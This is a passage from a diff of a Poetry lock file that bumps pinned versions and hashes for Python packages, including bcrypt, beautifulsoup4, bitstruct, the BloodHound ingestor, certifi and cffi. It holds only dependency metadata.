"sha256:687cf30e6681eeda39548a93ce9bfbb300e48b4d445a43db4298d2474d2a1e54"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:041fa0155c9004eb98a232d54da05c0b41d4b8e66b6fc3cb71b4b3f6144ba837"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f85b1ffa09240c89aa2e1ae9f3b1c687104f7b2b9d2098da4e923f1b7082d331"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c6f5fa3775966cca251848d4d5393ab016b3afed251163c1436fefdec3b02c84"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:807261df60a8b1ccd13e6599c779014a362ae4e795f5c59747f60208daddd96d"}, + {file = "bcrypt-4.2.1-cp39-abi3-win32.whl", hash = "sha256:b588af02b89d9fad33e5f98f7838bf590d6d692df7153647724a7f20c186f6bf"}, + {file = "bcrypt-4.2.1-cp39-abi3-win_amd64.whl", hash = "sha256:e84e0e6f8e40a242b11bce56c313edc2be121cec3e0ec2d76fce01f6af33c07c"}, + {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:76132c176a6d9953cdc83c296aeaed65e1a708485fd55abf163e0d9f8f16ce0e"}, + {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e158009a54c4c8bc91d5e0da80920d048f918c61a581f0a63e4e93bb556d362f"}, + {file = "bcrypt-4.2.1.tar.gz", hash = "sha256:6765386e3ab87f569b276988742039baab087b2cdb01e809d74e74503c2faafe"}, ] [package.extras] @@ -262,17 +242,19 @@ typecheck = ["mypy"] [[package]] name = "beautifulsoup4" -version = "4.12.3" +version = "4.13.3" description = "Screen-scraping library" optional = false -python-versions = ">=3.6.0" +python-versions = ">=3.7.0" +groups = ["main"] files = [ - {file = "beautifulsoup4-4.12.3-py3-none-any.whl", hash = "sha256:b80878c9f40111313e55da8ba20bdba06d8fa3969fc68304167741bbf9e082ed"}, - {file = "beautifulsoup4-4.12.3.tar.gz", hash = "sha256:74e3d1928edc070d21748185c46e3fb33490f22f52a3addee9aee0f4f7781051"}, + {file = "beautifulsoup4-4.13.3-py3-none-any.whl", hash = "sha256:99045d7d3f08f91f0d656bc9b7efbae189426cd913d830294a15eefa0ea4df16"}, + {file = "beautifulsoup4-4.13.3.tar.gz", hash = "sha256:1bd32405dacc920b42b83ba01644747ed77456a65760e285fbc47633ceddaf8b"}, ] [package.dependencies] soupsieve = ">1.2" +typing-extensions = ">=4.0.0" [package.extras] cchardet = ["cchardet"] @@ -283,170 +265,181 @@ lxml = ["lxml"] [[package]] name = "bitstruct" -version = "8.19.0" +version = "8.20.0" description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "bitstruct-8.19.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7d1f3eb18ddc33ba73f5cbb55c885584bcec51c421ac3551b79edc0ffeaecc3d"}, - {file = "bitstruct-8.19.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a35e0b267d12438e6a7b28850a15d4cffe767db6fc443a406d0ead97fa1d7d5b"}, - {file = "bitstruct-8.19.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5732aff5c8eb3a572f7b20d09fc4c213215f9e60c0e66f2910b31eb65b457744"}, - {file = "bitstruct-8.19.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bc8f1871b42b705eb34b8722c3ec358fbf1b97fd37a62693564ee72648afb100"}, - {file = "bitstruct-8.19.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:01bdfc3adbe15b05ba27ab6dce7959caa29a000f066201944b29c64bb8888f03"}, - {file = "bitstruct-8.19.0-cp310-cp310-win32.whl", hash = "sha256:961845a29333119b70dd9aab54bc714bf9ba5efefc55cb4c747c35c1390b8842"}, - {file = "bitstruct-8.19.0-cp310-cp310-win_amd64.whl", hash = "sha256:9fbe12d464db909f58d5e2a2485b3047a488fa1373e8f74b22d6759ee6b2437a"}, - {file = "bitstruct-8.19.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1300cd635814e40b1f4105aa4f404cb5d1b8cc54e06e267ba1616725f9c2beea"}, - {file = "bitstruct-8.19.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2fb23b5973ce1e9f349c4dc90873eeff9800fe917ffd345f39b9b964f6d119"}, - {file = "bitstruct-8.19.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:59e0c18d557474d8452c4f8b59320fd4d9efcf52eae2144bdf317d25c64dcf85"}, - {file = "bitstruct-8.19.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:bba06607f956cc39ceee19fd11b542e8e66a43180d48fa36c4609443893c273e"}, - {file = "bitstruct-8.19.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f2fa607d111077145e6374d49be6098f33e7cee0967b42cfc117df53eee13332"}, - {file = "bitstruct-8.19.0-cp311-cp311-win32.whl", hash = "sha256:abdb7bdb5b04c2f1bbda0eae828c627252243ddc042aea6b72af8fcc63696598"}, - {file = "bitstruct-8.19.0-cp311-cp311-win_amd64.whl", hash = "sha256:464f102999402a2624ee3106dbfa1f3745810036814a33e6bc706b7d312c480f"}, - {file = "bitstruct-8.19.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:55768b1f5e33594178f0b3e1596b89d831b006713a60caa09de61fd385bf22b1"}, - {file = "bitstruct-8.19.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c026a7cf8d954ef53cf4d0ae5ee3dd1ac66e24e9a474c5afe55467ab7d609f2e"}, - {file = "bitstruct-8.19.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7488fd4e2fde3d8111971e2040cd5b008be918381afc80387d3fdf047c801293"}, - {file = "bitstruct-8.19.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:45b66e20633f1e083e37fa396c81761e0fc688ffa06ff5559e990e37234f9e18"}, - {file = "bitstruct-8.19.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:9c1542d5ae888ebc31614775938bfd13454f0d897dc2515363a4607efadc990b"}, - {file = "bitstruct-8.19.0-cp312-cp312-win32.whl", hash = "sha256:7ea57e4e793b595cd3e037920852f2c676b4f5f1734c41985db3f48783928e2c"}, - {file = "bitstruct-8.19.0-cp312-cp312-win_amd64.whl", hash = "sha256:1c4d9b75248adee84e7e6c95bf95966f152b78363cb20a81920da2aeadc4375f"}, - {file = "bitstruct-8.19.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:7b4745b099d3d85307495e25ff0f265deeea675621dcecb25ba059ee68ce88d5"}, - {file = "bitstruct-8.19.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:645da560acd20dd73a1ef220e3ddc08e108866e30a708ef2f6193e0a3725113e"}, - {file = "bitstruct-8.19.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01402fbc3dba2286b3ac9b74d5936dd984736f928aacd371458a4b0cf95f0755"}, - {file = "bitstruct-8.19.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2c5eda42d55db67072c6cf7cc79b1df1074269004bad119b79e4ad38cfa61877"}, - {file = "bitstruct-8.19.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:2ea093522b12ce714a3a95851a8c3dd97f620126bbe983eb261b3bf18ac945e7"}, - {file = "bitstruct-8.19.0-cp37-cp37m-win32.whl", hash = "sha256:da00da004830800323554e7a83f1f32a1f49345f5379476de4b5f6ae227ee962"}, - {file = "bitstruct-8.19.0-cp37-cp37m-win_amd64.whl", hash = "sha256:a0ca55fba25d6c631e17933f20cf87f553d7bceec7659e3de9ef48dc85ced2bf"}, - {file = "bitstruct-8.19.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d3f6e3aeb598215062c505a06135fbdfa3bb4eeb249b55f87e865a86b3fd9e99"}, - {file = "bitstruct-8.19.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df74c72feba80014b05ab6f1e1a0bb90be9f9e7eb60a9bab1e00728f7f46d79d"}, - {file = "bitstruct-8.19.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:976c39ad771c6773d6fbd14d71e62242d5b3bca7b72428fd183e1f1085d5e858"}, - {file = "bitstruct-8.19.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:d2c176ff6727206805760f45c2151468aed843256aa239c14f4730b9e1d84fc7"}, - {file = "bitstruct-8.19.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d7774e2a51e254ef1ba98a1ee38573c819d4ee7e396d5121c5ecae17df927501"}, - {file = "bitstruct-8.19.0-cp38-cp38-win32.whl", hash = "sha256:b86d192d658eaf35f10efb2e1940ec755cc28e081f46de294a2e91a74ea298aa"}, - {file = "bitstruct-8.19.0-cp38-cp38-win_amd64.whl", hash = "sha256:5e7f78aedec2881017026eb7f7ab79514aef09a24afd8acf5fa8c73b1cd0e9f4"}, - {file = "bitstruct-8.19.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2bb49acc2ccc6efd3c9613cae8f7e1316c92f832bff860a6fcb78a4275974e90"}, - {file = "bitstruct-8.19.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7bed7b2761c18a515298145a4f67b6c71ce302453fe7d87ec6b7d2e77fd3c22b"}, - {file = "bitstruct-8.19.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8d0cafd2e2974c4bbe349fb67951d43d221ea304218c2ee65f9fe4c62acabc2f"}, - {file = "bitstruct-8.19.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:d9ba0299f624e7c8ea1eec926fc77741f82ffc5b3c3ba4f89303d33d5605f4d8"}, - {file = "bitstruct-8.19.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:bfa0326057c9b02c4e65e74e45b9914a7f8c59590a8e718e20a899a02b41f2e6"}, - {file = "bitstruct-8.19.0-cp39-cp39-win32.whl", hash = "sha256:14c3ebdec92c486142327d934cb451d96b411543ec6f72aeb2b4b4334e9408bf"}, - {file = "bitstruct-8.19.0-cp39-cp39-win_amd64.whl", hash = "sha256:7836852d5c15444e87a2029f922b48717e6e199d2332d55e8738e92d8590987e"}, - {file = "bitstruct-8.19.0.tar.gz", hash = "sha256:d75ba9dded85c17e885a209a00eb8e248ee40762149f2f2a79360ca857467dac"}, + {file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"}, + {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"}, + {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"}, + {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"}, + {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"}, + {file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"}, + {file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"}, + {file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"}, + {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"}, + {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"}, + {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"}, + {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"}, + {file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"}, + {file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"}, + {file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"}, + {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"}, + {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"}, + {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"}, + {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"}, + {file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"}, + {file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"}, + {file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"}, + {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"}, + {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"}, + {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"}, + {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"}, + {file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"}, + {file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"}, + {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"}, + {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"}, + {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"}, + {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"}, + {file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"}, + {file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"}, + {file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"}, + {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"}, + {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"}, + {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"}, + {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"}, + {file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"}, + {file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"}, + {file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"}, + {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"}, + {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"}, + {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"}, + {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"}, + {file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"}, + {file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"}, + {file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"}, ] [[package]] name = "blinker" -version = "1.8.2" +version = "1.9.0" description = "Fast, simple object-to-object and broadcast signaling" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "blinker-1.8.2-py3-none-any.whl", hash = "sha256:1779309f71bf239144b9399d06ae925637cf6634cf6bd131104184531bf67c01"}, - {file = "blinker-1.8.2.tar.gz", hash = "sha256:8f77b09d3bf7c795e969e9486f39c2c5e9c39d4ee07424be2bc594ece9642d83"}, + {file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"}, + {file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"}, ] [[package]] name = "bloodhound" -version = "1.7.2" +version = "1.8.0" description = "Python based ingestor for BloodHound" optional = false python-versions = "*" +groups = ["main"] files = [ - {file = "bloodhound-1.7.2-py3-none-any.whl", hash = "sha256:4395feb0df85ae855b369446140746f9b86bcb2d2a328fb14ae45c20a46243f8"}, - {file = "bloodhound-1.7.2.tar.gz", hash = "sha256:512654d7d74ba69a2ad7df89305b62a23c8993a6e3f7a9cfd89403abb2459073"}, + {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, + {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, ] [package.dependencies] dnspython = "*" -future = "*" impacket = ">=0.9.17" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" pycryptodome = "*" -[[package]] -name = "bs4" -version = "0.0.2" -description = "Dummy package for Beautiful Soup (beautifulsoup4)" -optional = false -python-versions = "*" -files = [ - {file = "bs4-0.0.2-py2.py3-none-any.whl", hash = "sha256:abf8742c0805ef7f662dce4b51cca104cffe52b835238afc169142ab9b3fbccc"}, - {file = "bs4-0.0.2.tar.gz", hash = "sha256:a48685c58f50fe127722417bae83fe6badf500d54b55f7e39ffe43b798653925"}, -] - -[package.dependencies] -beautifulsoup4 = "*" - [[package]] name = "certifi" -version = "2024.7.4" +version = "2025.1.31" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, - {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, + {file = "certifi-2025.1.31-py3-none-any.whl", hash = "sha256:ca78db4565a652026a4db2bcdf68f2fb589ea80d0be70e03929ed730746b84fe"}, + {file = "certifi-2025.1.31.tar.gz", hash = "sha256:3d5da6925056f6f18f119200434a4780a94263f10d1c21d032a6f6b2baa20651"}, ] [[package]] name = "cffi" -version = "1.16.0" +version = "1.17.1" description = "Foreign Function Interface for Python calling C code." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "cffi-1.16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088"}, - {file = "cffi-1.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614"}, - {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743"}, - {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d"}, - {file = "cffi-1.16.0-cp310-cp310-win32.whl", hash = "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a"}, - {file = "cffi-1.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1"}, - {file = "cffi-1.16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404"}, - {file = "cffi-1.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e"}, - {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc"}, - {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb"}, - {file = "cffi-1.16.0-cp311-cp311-win32.whl", hash = "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab"}, - {file = "cffi-1.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba"}, - {file = "cffi-1.16.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956"}, - {file = "cffi-1.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969"}, - {file = 